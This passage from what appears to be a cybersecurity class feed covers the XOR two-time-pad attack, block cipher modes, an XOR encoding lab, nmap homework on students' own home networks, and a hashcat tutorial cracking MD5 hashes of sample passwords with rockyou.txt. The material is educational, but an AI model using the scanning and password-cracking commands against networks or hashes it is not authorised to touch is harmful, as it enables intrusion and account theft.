          &lt;br/&gt;&lt;br/&gt;
          3. Reorder terms (Commutativity): &lt;br/&gt;
              A ⊕ B ⊕ K ⊕ K
          &lt;br/&gt;&lt;br/&gt;
          4. Simplify K ⊕ K: &lt;br/&gt;
              (Since any value XORed with itself is 0): &lt;br/&gt;
              A ⊕ B ⊕ 0
          &lt;br/&gt;&lt;br/&gt;
          5. Identity Property: &lt;br/&gt;
              (Since any value XORed with 0 is itself): &lt;br/&gt;
              &lt;strong&gt;A ⊕ B&lt;/strong&gt;
&lt;/div&gt;
&lt;h2&gt;Cybersecurity Consequences&lt;/h2&gt;
&lt;p&gt;This mathematical property has profound and dangerous implications in cryptography, specifically regarding &lt;strong&gt;Stream Ciphers&lt;/strong&gt; and &lt;strong&gt;One-Time Pads&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="security-box"&gt;
&lt;h3&gt;The "Two-Time Pad" (Key Reuse) Attack&lt;/h3&gt;
&lt;p&gt;If an attacker intercepts two messages (C_1 and C_2) that have been encrypted with the &lt;strong&gt;same key&lt;/strong&gt; ($K$), they can exploit the property we just proved to break the encryption.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Attack:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The attacker computes C_1 ⊕ C_2:&lt;/p&gt;
&lt;div class="math-block" style="border-color: #e74c3c; background-color: #f9ebea;"&gt;
              C1 ⊕ C2 = (A ⊕ K) ⊕ (B ⊕ K)
              &lt;br/&gt;
              C1 ⊕ C2 = A ⊕ B ⊕ K ⊕ K
              &lt;br/&gt;
              C1 ⊕ C2 = A ⊕ B
          &lt;/div&gt;
&lt;p&gt;&lt;strong&gt;The Result:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The attacker successfully removes the key completely and is left with &lt;strong&gt;A ⊕ B&lt;/strong&gt; (Message A XORed with Message B). While this isn't the plain text immediately, it removes the mathematical protection of the key.&lt;/p&gt;
&lt;p&gt;Using statistical analysis and known "cribs"
             (likely words or phrases), an attacker can separate A and B
             from the result of A ⊕ B. This allows them to recover both original plaintexts without ever knowing the Key.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Never Reuse Keys:&lt;h3&gt;
&lt;/h3&gt;&lt;/h3&gt;&lt;p&gt;In XOR-based encryption systems (like One-Time Pads), the key must never be reused. Reuse allows the key to be cancelled out mathematically.&lt;/p&gt;
&lt;h1&gt;Block Ciphers:&lt;/h1&gt;
&lt;p&gt;
    In a block cipher, K bits are encrypted at a time.
    If the length of the data is greater than K, you will
    break the information into blocks of size K.
  &lt;/p&gt;
&lt;p&gt; &lt;strong&gt;Electronic Codebook (ECB)&lt;/strong&gt; - Use the same key on each block of data. This is parallelizable since each block does not depend on the others.&lt;/p&gt;
&lt;img alt="" loading="lazy" src="img/blockECB.png"/&gt;
&lt;p&gt;Patterns of the original data are visible because equal sections of plaintext will generate the same ciphertext as is evident when looking at images encrypted using this method:&lt;/p&gt;
&lt;p&gt;Original:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" loading="lazy" src="img/tux.jpg"/&gt;&lt;/p&gt;
&lt;p&gt;Encrypted:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" loading="lazy" src="img/tuxECB.jpg"/&gt;&lt;/p&gt;
&lt;strong&gt;Cipher Block Chaining (CBC) / Output Feedback (OFB)&lt;/strong&gt;
&lt;p&gt;You propagate data from one block to the next to make equivalent blocks of plaintext into unequal blocks ciphertext. You start with an initialization vector on the first block, and then use data from the previously encrypted block (the specifics depend on CBC/OFB) in the current block's calculation. &lt;/p&gt;
&lt;p&gt;Both the key and the initialization vector are required for both encryption and decryption. &lt;/p&gt;
&lt;p&gt;The encryption must be done sequentially. (Cannot be multi threaded)&lt;/p&gt;
&lt;p&gt;Errors in transmitted ciphertext affect the decryption of future ones. Output feedback OFB fixes this.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" loading="lazy" src="img/blockCBCencrypt.png"/&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="" loading="lazy" src="img/blockCBCdecrypt.png"/&gt;&lt;/p&gt;
&lt;p&gt;Patterns of the original data are no longer visible:&lt;/p&gt;
&lt;p&gt;Original:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" loading="lazy" src="img/tux.jpg"/&gt;&lt;/p&gt;
&lt;p&gt;Encrypted:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" loading="lazy" src="img/tuxCBC.jpg"/&gt;&lt;/p&gt;
&lt;strong&gt;Integer counter Mode (ICM) / Segmented Integer Counter Mode (SIC)&lt;/strong&gt;
&lt;p&gt;Counter mode: Instead of calculating the value to be used in the next block based on the prior block, a random number (Nonce) is used for the first block. That random value is then incremented by one for each subsequent block. This allows for parallelization and prevents errors in one block from affecting others.&lt;/p&gt;
&lt;p&gt;Note: the key and the Nonce are required for both encryption and decryption&lt;/p&gt;
&lt;p&gt;&lt;img alt="" loading="lazy" src="img/blockCTRencrypt.png"/&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="" loading="lazy" src="img/blockCTRdecrypt.png"/&gt;&lt;/p&gt;
&lt;h2&gt;Programming languages are different&lt;/h2&gt;
&lt;p&gt;Reminder: you have to do tryhackme rooms on time.&lt;/p&gt;
&lt;h2&gt;Homework/Classwork: PRE-LAB Preparations&lt;/h2&gt;
&lt;h3&gt;C:&lt;/h3&gt;
&lt;p&gt;Writing bytes directly in C is the default way to write to a file! This is super easy.&lt;/p&gt;
&lt;h3&gt;Java:&lt;/h3&gt;
&lt;p&gt;You can typecast an int to a byte! Then you can just write that to the file.&lt;/p&gt;
&lt;p&gt;
      Since in previous years java people never had issues with this section,
      it is lower priority to give extra notes. I will add to this section only
      if needed. On Piazza: It is OK to ask for or answer how to write the java syntax for this low level operation.
    &lt;/p&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;p&gt;Opening files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;with open("inputFileName", 'rb') as f: #read bytes mode
    #code here&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Opening two different files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;with open("inputFileName", 'rb') as infile, open("outputFileName", 'wb') as outfile:
      #code here&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Python must open files in binary mode to write actual numbers. (mode is 'wb' to write bytes, or 'rb' to read bytes.)&lt;/p&gt;
&lt;p&gt;In python use the to_bytes method to convert an int to a byte so it can be written in binary mode.&lt;/p&gt;
&lt;code&gt;
      i=10
      b = i.to_bytes(1, byteorder='little')
      f.write(b)
    &lt;/code&gt;
&lt;p&gt;OR you can write your bytes using byte notation:&lt;/p&gt;
&lt;code&gt;
      f.write(b'\x0a') #write 10, note that this is Hexadecimal
    &lt;/code&gt;
&lt;p&gt;To modify bytes you need to convert to another type like int:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b = b'\x0a'
  x = int.from_bytes(b,byteorder='little')
  #modify x here
  b = x.to_bytes(1, byteorder='little')
  #important: the first argument represents writing a 1 byte value&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-03-06n"/><published>2026-03-06T12:00:00+00:00</published></entry><entry><id>2026-03-06n</id><title>2026-03-09</title><updated>2026-03-09T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-03-06n"&gt;
&lt;h5&gt;2026-03-09&lt;/h5&gt;
&lt;h2&gt;Tryhackme&lt;/h2&gt;
&lt;p&gt;In the future use the following link to see all assignments,
      when they are due, and if you completed them.
      &lt;a href="https://tryhackme.com/assignments"&gt;https://tryhackme.com/assignments&lt;/a&gt; &lt;/p&gt;
&lt;h2&gt;Do Now:&lt;/h2&gt;
&lt;p&gt;sample bitwise xor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c1 = 5  # Binary: 0101
c2 = 3  # Binary: 0011
c3 = c1 ^ c2  # 0101 ^ 0011 = 0110
print(c3)  # Output: 6&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Calculate the binary representation of abYZ (hint 6162595a)&lt;/p&gt;
&lt;p&gt;Now XOR the binary value with the binary of ZZZZ (5a5a5a5a)&lt;/p&gt;
&lt;p&gt;What is the result in binary? in hex?&lt;/p&gt;
&lt;p&gt;What happens if you try to convert this to ASCII?&lt;/p&gt;
&lt;h2&gt;Use tools carefully&lt;/h2&gt;
&lt;p&gt;This is a useful calculator: &lt;a href="https://xor.pw/#"&gt;https://xor.pw/#&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;This calculator will pad values with leading zeroes. Your lab does NOT have this behavior.&lt;/p&gt;
&lt;p&gt;If you were to xor &lt;code&gt;"abYZ"&lt;/code&gt; with &lt;code&gt;"a"&lt;/code&gt; , the website would treat &lt;code&gt;"a"&lt;/code&gt; like the hex number 00000061, providing the leading zeroes. Hint: xor(v,0) is just v.&lt;/p&gt;
&lt;h2 id="2026-03-09h"&gt;Lab03 Xor&lt;/h2&gt;
&lt;p&gt;Repo link: &lt;a href="https://classroom.github.com/a/k3Dam9mf"&gt;https://classroom.github.com/a/k3Dam9mf&lt;/a&gt; &lt;/p&gt;
&lt;li&gt;&lt;strong&gt;URGENT:&lt;/strong&gt; To simplify this lab, you can read/write one byte at a time, and not worry about little-endian writing in java/python.&lt;/li&gt;
&lt;p&gt;By the end of the lab you should be comfortable with using bitwise operations and writing numbers directly to files.&lt;/p&gt;
&lt;p&gt;You will be writing a program that can do the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Print the hex values of a file (file can be binary or text doesn't matter)&lt;/li&gt;
&lt;li&gt;encode a text file into a binary ciphertext file (by xoring it with a plain text key). &lt;/li&gt;
&lt;li&gt;decode a binary ciphertext into standard out (by xoring it with a plain text key). &lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;makefile recipes:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;make hexdump ARGS="filename"&lt;/li&gt;
&lt;li&gt;make encode ARGS="inputTextfile keyfile outputCiphertextfile"&lt;/li&gt;
&lt;li&gt;make decode ARGS="inputCiphertextfile keyfile"&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;1.1 hexdump&lt;/h3&gt;
&lt;p&gt;Your hexdump should be formatted like this: "41 42 61 62 0a 48 65 6c"&lt;/p&gt;
&lt;p&gt;You can verify your hexdump by comparing to the xxd values! Your output should be the same as &lt;/p&gt;&lt;pre&gt;&lt;code&gt;xxd -p results.txt | sed 's/../&amp;amp; /g'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All bytes should be included, do not trim away leading zeroes.&lt;/p&gt;
&lt;h3&gt;1.2 and 1.3&lt;/h3&gt;
&lt;p&gt;Don't worry about the specifics of the encoding / decoding scheme right now.&lt;/p&gt;
&lt;p&gt;As a preliminary encoding/decode you can do this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;encode will increment each byte by 1 &lt;/li&gt;
&lt;li&gt;decode will decrement each byte by 1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is just for testing purposes. It makes you focus on getting the reading bytes part working.&lt;/p&gt;
&lt;p&gt;You should verify if the ciphertext is  correct using xxd (or your hexdump).&lt;/p&gt;
&lt;p&gt;Note that 255 is the largest byte, so (255 wraps to 0)&lt;/p&gt;
&lt;strong&gt;make encode ARGS="textfile keyfile ciphertextfile"&lt;/strong&gt;
&lt;p&gt;In this recipe textfile is the input, ciphertextfile is the output file. &lt;strong&gt;It should not print anything.&lt;/strong&gt; This is because we can't always print the ciphertext characters as you saw previously.&lt;/p&gt;
&lt;strong&gt;make decode ARGS="inputCiphertextfile keyfile"&lt;/strong&gt;
&lt;p&gt;In this recipe the output will be the decoded text.&lt;/p&gt;
&lt;h3&gt;1.4&lt;/h3&gt;
&lt;p&gt;Your encode/decode algorithm should apply a bitwise XOR. If the key is too short, repeat the key. If the key is too long, ignore the extra bits.&lt;/p&gt;
&lt;p&gt;In java/c/python, the bitwise xor operator is just &lt;code&gt;^&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;You can use a calculator, however, you must make sure you manually duplicate the key to match the plaintext length.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://xor.pw/#"&gt;https://xor.pw/#&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;The do now / overview in class is important for this, you should be able to verify if the ciphertext is  correct using xxd.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-03-06n"/><published>2026-03-09T12:00:00+00:00</published></entry><entry><id>2026-03-10n</id><title>2026-03-10</title><updated>2026-03-10T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-03-10n"&gt;
&lt;h5&gt;2026-03-10&lt;/h5&gt;
&lt;h2&gt;Happy
    &lt;span style="color:#FF0000"&gt;M&lt;/span&gt;
&lt;span style="color:#1db315"&gt;A&lt;/span&gt;
&lt;span style="color:#c2bf36"&gt;R&lt;/span&gt;
&lt;span style="color:#24b0ff"&gt;1&lt;/span&gt;
&lt;span style="color:#1db315"&gt;0&lt;/span&gt;
  day!&lt;/h2&gt;
&lt;h3&gt;History&lt;/h3&gt;
&lt;p&gt;In case you forgot, the &lt;code&gt;history&lt;/code&gt; command can show you all of the commands you ran previously. &lt;/p&gt;
&lt;p&gt;This can be used with grep to find how you did things.&lt;/p&gt;
&lt;h2&gt;Lab testing&lt;/h2&gt;
&lt;p&gt;"The most effective debugging tool is still careful thought, coupled with judiciously placed print statements" - Brian Kernighan, Unix for Beginners.&lt;/p&gt;
&lt;h3&gt;Test your assingments on wsl or a lab machine.&lt;/h3&gt;
&lt;p&gt;For your labs, your makefile must work on a clean clone ON THE LAB MACHINES.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
        Run the code using a test script that:
        &lt;ul&gt;
&lt;li&gt; creates some test files&lt;/li&gt;
&lt;li&gt;ONLY USES the make targets from the assignment. &lt;/li&gt;
&lt;li&gt;In this case, &lt;strong&gt;Do not&lt;/strong&gt; use &lt;code&gt;make compile&lt;/code&gt; or &lt;code&gt; make run&lt;/code&gt; This is project dependant.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
echo -n "sf" &amp;gt; key1 #-n means no newline added to the output of the echo
echo -n "aA" &amp;gt; plaintext1

echo "Expected output: '61 41'"
make hexdump ARGS="plaintext1"

echo "encode Expected output '12 27'"
make encode ARGS="plaintext1 key1 cipher1"
xxd -p cipher1 | sed 's/../&amp;amp; /g'

echo "hexdump Expected output '12 27'"
make hexdump ARGS="cipher1"

echo "Expected output: 'aA'"
make decode ARGS="cipher1 key1"
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;You can visually determine if the output is as expected. &lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Note how the echo command is dumping ONLY 2 bytes into the plaintext and key files because of the -n flag.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-03-10n"/><published>2026-03-10T12:00:00+00:00</published></entry><entry><id>2026-03-11n</id><title>2026-03-11</title><updated>2026-03-11T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-03-11n"&gt;
&lt;h5&gt;2026-03-11&lt;/h5&gt;
&lt;h3&gt;Tryhackme Networking + Homework Writeup&lt;/h3&gt;
&lt;p&gt;Deadline Monday, this should be done earlier, as other assignments will overlap.&lt;/p&gt;
&lt;p&gt;You have been assigned a tryhackme module on networking and using a tool called nmap. You should only use nmap when you have permission to do so, as it consumes network resources when you use it.&lt;/p&gt;
&lt;p&gt;You do NOT have permission to use it on the stuycs network, however you CAN test it at home!&lt;/p&gt;
&lt;h3&gt;Before you continue:&lt;/h3&gt;
&lt;p&gt;Everyone should have completed the perusall on legality of port scanning.&lt;/p&gt;
&lt;h3&gt;Nmap&lt;/h3&gt;
&lt;p&gt;
    Nmap is the short form for Network Mapper. It is an open-source Linux tool that is used to scan IP addresses / ports / applications.
    Nmap requires elevated privileges to run, but it allows network admins to find out the devices running on their network,
    discover open ports and services, and detect vulnerabilities.&lt;/p&gt;
&lt;p&gt;You will learn to use nmap. Nmap is a networking tool that lets you probe remote hosts and see what ports are open.&lt;/p&gt;
&lt;p&gt;This is the most technical TryHackMe room you have been assigned, please read the material carefully. The goal is not just "get all the questions", it is to learn how nmap can be used.&lt;/p&gt;
&lt;p&gt;You don't need to memorize the flags, but do want to know what your options are.&lt;/p&gt;
&lt;h3&gt;Classwork/Homework: TryHackMe networking/nmap&lt;/h3&gt;
&lt;p&gt;The &lt;strong&gt;deadline for everything is Monday&lt;/strong&gt;. Please communicate any issues to me earlier rather than later.&lt;/p&gt;
&lt;p&gt;Part of the assignment MUST be completed at home.&lt;/p&gt;
&lt;p&gt;
    This is a non-trivial homework, that requires you to run a scan for a while (5-10 minutes should be reasonable) in the background.
    If your scans do not complete in a reasonable timeframe check with piazza to make sure you are using the right methodology.&lt;/p&gt;
&lt;h3&gt;I.&lt;/h3&gt;
&lt;p&gt;Complete the TryHackMe module on networking/nmap&lt;/p&gt;
&lt;h3&gt;II.&lt;/h3&gt;
&lt;p&gt;Make sure you install nmap so you can scan things outside of tryHackme, like your home! You can &lt;code&gt;sudo apt install nmap&lt;/code&gt; or download nmap to your personal device from the official site: &lt;a href="https://nmap.org"&gt;https://nmap.org&lt;/a&gt;
&lt;/p&gt;&lt;h3&gt;III.&lt;/h3&gt;
&lt;p&gt;In your classwork repo, make a file &lt;code&gt;repoFolder/04/nmap.txt&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Scan your home network using nmap. The IP addresses you list will be internal so you don't have to worry too much about me getting them.&lt;/p&gt;
&lt;p&gt;You can run multiple scans with different settings. Output your scans to files so you don't lose them!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Submit in your text file:&lt;/strong&gt; the answers/explanations to 1-3 below.&lt;/p&gt;
&lt;p&gt;For 1+2:&lt;/p&gt;
&lt;p&gt;-list the command(s) you used and why you used them&lt;/p&gt;
&lt;p&gt;-give the relevant output of your commands. (since your home IP's are NATed and I don't know your external IP there is no security issue)&lt;/p&gt;
&lt;p&gt;1) Find all devices that are active on your home network. (You may wish to output the IP's into a file for the next step)&lt;/p&gt;
&lt;p&gt;2) Find all open ports on the active devices.&lt;/p&gt;
&lt;p&gt;3) Please react to the results of your scans. e.g. What are some things you discovered about your home network / What surprised you when scanning your home network / what did you realize about scanning etc.&lt;/p&gt;
&lt;h3&gt;If the scan is slow...&lt;/h3&gt;
&lt;p&gt;Try reducing the range of the scans.  Nmap supports this through octet range addressing. Rather than specify a normal IP address, you can specify a comma-separated list of numbers or ranges for each octet. &lt;/p&gt;
&lt;p&gt;For example, 192.168.0-255.1-254 will skip all addresses in the range that end in .0 or .255, and 192.168.3-5,7.1 will scan the four addresses 192.168.3.1, 192.168.4.1, 192.168.5.1, and 192.168.7.1. &lt;/p&gt;
&lt;p&gt;Find your IP address on your home network, such as 192.168.1.145, now ONLY scan 192.168.1.*, that should work quickly enough.&lt;/p&gt;
&lt;p&gt;You SHOULD be able to find every phone, computer, and smart device connected to your network. This includes your wifi and wired connections.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-03-11n"/><published>2026-03-11T12:00:00+00:00</published></entry><entry><id>2025-03-16n</id><title>2026-03-16</title><updated>2026-03-16T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2025-03-16n"&gt;
&lt;h5&gt;2026-03-16&lt;/h5&gt;
&lt;h3&gt;Quiz next week&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Cryptography&lt;/li&gt;
&lt;li&gt;Enigma machine&lt;/li&gt;
&lt;li&gt;Passwords, Hashing, etc&lt;/li&gt;
&lt;li&gt;Pre-computer ciphers from class vigenere/playfair/caesar&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Home Network&lt;/h3&gt;
&lt;img alt="" loading="lazy" src="img/homeNetwork.jpg" width="600px"/&gt;
&lt;h3&gt;NAT&lt;/h3&gt;
&lt;p&gt;Network Address Translation will allow you to use one IP
     address for multiple devices behind a router.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" loading="lazy" src="img/nat.jpg" width="600px"/&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="" loading="lazy" src="img/nat2.png" width="600px"/&gt;&lt;/p&gt;
&lt;p&gt;The Internet Assigned Numbers Authority (IANA) has reserved the following
     three blocks of the IP address space for private internets:&lt;/p&gt;
&lt;pre&gt;10.0.0.0        -   10.255.255.255  (10/8 prefix)
172.16.0.0      -   172.31.255.255  (172.16/12 prefix)
192.168.0.0     -   192.168.255.255 (192.168/16 prefix)&lt;/pre&gt;
&lt;p&gt; IP addresses are unique to each device  &lt;/p&gt;
&lt;h3&gt;IPv4&lt;/h3&gt;
&lt;p&gt;32 bit address gives us 4.3 x 10&lt;sup&gt;9&lt;/sup&gt; different addresses&lt;/p&gt;
&lt;p&gt;The allowed number of addresses does not allow every device to have a unique address, they must be shared and masked.&lt;/p&gt;
&lt;p&gt;Address is written in dotted decimal notation. e.g. 192.0.2.75&lt;/p&gt;
&lt;h3&gt;IPv6&lt;/h3&gt;
&lt;p&gt;128-bit address gives us 7.9 x 10&lt;sup&gt;28&lt;/sup&gt; addresses.&lt;/p&gt;
&lt;p&gt;This means that every device can have a unique address!&lt;/p&gt;
&lt;p&gt;Address is written in hexadecimal separated by colons.&lt;/p&gt;
&lt;p&gt;The address &lt;strong&gt;2001:0db8:0001:0000:0000:0ab9:C0A8:0102&lt;/strong&gt; can be rewriten without leading zeros, and with 4 consecutive zeros eliminated:&lt;/p&gt;
&lt;pre&gt;2001:db8:1::ab9:C0A8:102&lt;/pre&gt;
&lt;h3&gt;IPv6 dual&lt;/h3&gt;
&lt;p&gt;An IPv6 address combines an IPv6 and an IPv4 address and has the following format: y:y:y:y:y:y:x.x.x.x. The IPv6 portion of the address (indicated with y's) is always at the beginning, followed by the IPv4 portion (indicated with x's). &lt;/p&gt;
&lt;h3&gt;VPN&lt;/h3&gt;
&lt;img alt="" src="img/VPN.png"/&gt;
&lt;p&gt;You can pay for a vpn to access the internet.&lt;/p&gt;
&lt;p&gt;You can set up your own vpn to access your networks. Wireguard would be a viable tool for this, but there are many others.&lt;/p&gt;
&lt;p&gt;I tend to use TailScale right now. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tailscale&lt;/strong&gt; is a zero-configuration mesh VPN that lets you securely connect your devices (laptops, servers, phones, and even smart home gadgets) into a single private network called a "tailnet". Unlike traditional VPNs that route all traffic through a central server, Tailscale creates direct, encrypted peer-to-peer connections between your devices using the WireGuard protocol.&lt;/p&gt;
&lt;p&gt;The tool you use doesn't matter, as long as you research the right product for your needs.&lt;/p&gt;
&lt;p&gt;Tailscale is free for up to 3 users and 100 devices. This is good enough free to learn about it.&lt;/p&gt;
&lt;p&gt;Tailscale lets you set up with your google/microsoft/github account to authenticate.
   It requires minimum configuration.
   It allows you to use ANY device as an exit node (the node that accesses the internet).
   It also has all devices connect to eachother instead of through a central server.&lt;/p&gt;
&lt;p&gt;Use cases for a VPN for your servers:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You have a firewall and want to have specific devices be able to access the computers behind it.&lt;/li&gt;
&lt;li&gt;You have a home network and want to limit which devices can access services&lt;/li&gt;
&lt;li&gt;You have a mobile device and want to be able to use public wifi, but use your home machine as the exit node.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;CRITICAL:&lt;/h3&gt;
&lt;h4&gt;Update and install important software&lt;/h4&gt;
&lt;p&gt;Make sure to update before you do new things: (including installing software)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt upgrade&lt;/code&gt; &lt;/pre&gt;
&lt;h4&gt;Install software you need&lt;/h4&gt;
&lt;p&gt;This is an example of what I mgiht do to a new system/VM I create:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install git python3 gcc g++ make python3-pip zsh keychain&lt;/code&gt; &lt;/pre&gt;
&lt;h3&gt;Optional&lt;/h3&gt;
&lt;p&gt;Everyone should probably learn to use keychain. Jump to the part where you automatically run the agent here: &lt;a href="https://konstantinnovation.github.io/index.html#sshagent"&gt;konstantinnovation.github.io/index.html#sshagent&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Take some or all of the tips from here: &lt;a href="https://github.com/konstantinnovation/customize"&gt;https://github.com/konstantinnovation/customize&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2025-03-16n"/><published>2026-03-16T12:00:00+00:00</published></entry><entry><id>2026-03-17n</id><title>2026-03-17</title><updated>2026-03-17T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-03-17n"&gt;
&lt;h5&gt;2026-03-17&lt;/h5&gt;
&lt;h2&gt;Hash cracking made EZ&lt;/h2&gt;
&lt;p&gt;You can use hashcat or john the ripper. Feel free to use the attack box if you cannot get hashcat/jtr working.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.openwall.com/john/"&gt;https://www.openwall.com/john/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://hashcat.net/hashcat/"&gt;https://hashcat.net/hashcat/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Please install hashcat on your personal devices. The attack box will work but will be much slower than a computer of your own, unless it is a potato pc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;If you are using windows+WSL, this is a good time to just use the windows binary. It will run natively with your windows drivers and work with far less configuration and issues.&lt;/p&gt;
&lt;p&gt;Open any terminal in windows and you can run the same commands for hashcat. (The bash script example won't work however.)&lt;/p&gt;
&lt;h3&gt;hash cracking&lt;/h3&gt;
&lt;p&gt;
    You can do all of this in an attack box in any THM room.
    You just need to make sure you know how to copy/paste into the attack box!
  &lt;/p&gt;
&lt;p&gt;
    Gitbash, and the school computers both seem to have md5sum installed so this should work.
    On gitbash there is an extra * in the output, but the tr command removes all the extra characters.
  &lt;/p&gt;
&lt;h2&gt;You MUST test your hashcat &lt;/h2&gt;
&lt;p&gt;Test on known hashes before trying to use it on real hashes!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(DO THIS ON YOUR PERSONAL DEVICE!)&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt; Save the following into a file called makepasswords.sh, notice the first line has &amp;gt; not &amp;gt;&amp;gt;, this is to clear the file so you don't make duplicates by running it more than once.&lt;/p&gt;
&lt;pre&gt;echo -n "password" | md5sum | tr -d " *-" &amp;gt; target_hashes.txt
echo -n "PASSWORD" | md5sum | tr -d " *-" &amp;gt;&amp;gt; target_hashes.txt
echo -n "Password" | md5sum | tr -d " *-" &amp;gt;&amp;gt; target_hashes.txt
echo -n "P455w0rd" | md5sum | tr -d " *-" &amp;gt;&amp;gt; target_hashes.txt
echo -n "rockyou" | md5sum | tr -d " *-" &amp;gt;&amp;gt; target_hashes.txt
echo -n "S3CuReP455Word" | md5sum | tr -d " *-" &amp;gt;&amp;gt; target_hashes.txt
echo -n "GuessMe" | md5sum | tr -d " *-" &amp;gt;&amp;gt; target_hashes.txt
  &lt;/pre&gt;
&lt;p&gt;Don't forget to chmod your file&lt;/p&gt;
&lt;pre&gt;chmod +x makepasswords.sh&lt;/pre&gt;
&lt;p&gt;Now you can run the script to convert each password to a hash and append that to a file using the following command:&lt;/p&gt;
&lt;pre&gt;./makepasswords.sh &lt;/pre&gt;
&lt;p&gt;The resulting file target_hashes.txt should look like this:&lt;/p&gt;
&lt;pre&gt;5f4dcc3b5aa765d61d8327deb882cf99
319f4d26e3c536b5dd871bb2c52e3178
dc647eb65e6711e155375218212b3964
75b71aa6842e450f12aca00fdf54c51d
f806fc5a2a0d5ba2471600758452799c
b5af0b804ff7238bce48adef1e0c213f
031cbcccd3ba6bd4d1556330995b8d08
  &lt;/pre&gt;
&lt;p&gt;You can optionally add a few more passwords to test with but the file will be longer as a result.&lt;/p&gt;
&lt;h4&gt;Crack those hashes!&lt;/h4&gt;
&lt;p&gt;Before you start, make sure you have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;download and extract hashcat (only on your personal computer)&lt;/li&gt;
&lt;li&gt;created the target_hashes.txt file (directions above),&lt;/li&gt;
&lt;li&gt;open a terminal in your hashcat directory, or cd into your hashcat directory.&lt;/li&gt;
&lt;li&gt;save your rockyou.txt in the hashcat directory to make your life easier.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;hashcat modes&lt;/h3&gt;
&lt;h4&gt;dictionary&lt;/h4&gt;
&lt;p&gt;The hashcat command for a dictionary attack is against md5 hashes is:&lt;/p&gt;
&lt;pre&gt;hashcat -m 0 -a 0 INPUT_FILE password_list&lt;/pre&gt;
&lt;pre&gt;hashcat -m 0 -a 0 target_hashes.txt rockyou.txt&lt;/pre&gt;
&lt;p&gt;m is hash mode 0 is md5&lt;/p&gt;
&lt;p&gt;a is the attack mode 0 is for dictionary&lt;/p&gt;
&lt;h4&gt;Mask attack&lt;/h4&gt;
&lt;p&gt;An alternative mode is mask basked brute force&lt;/p&gt;
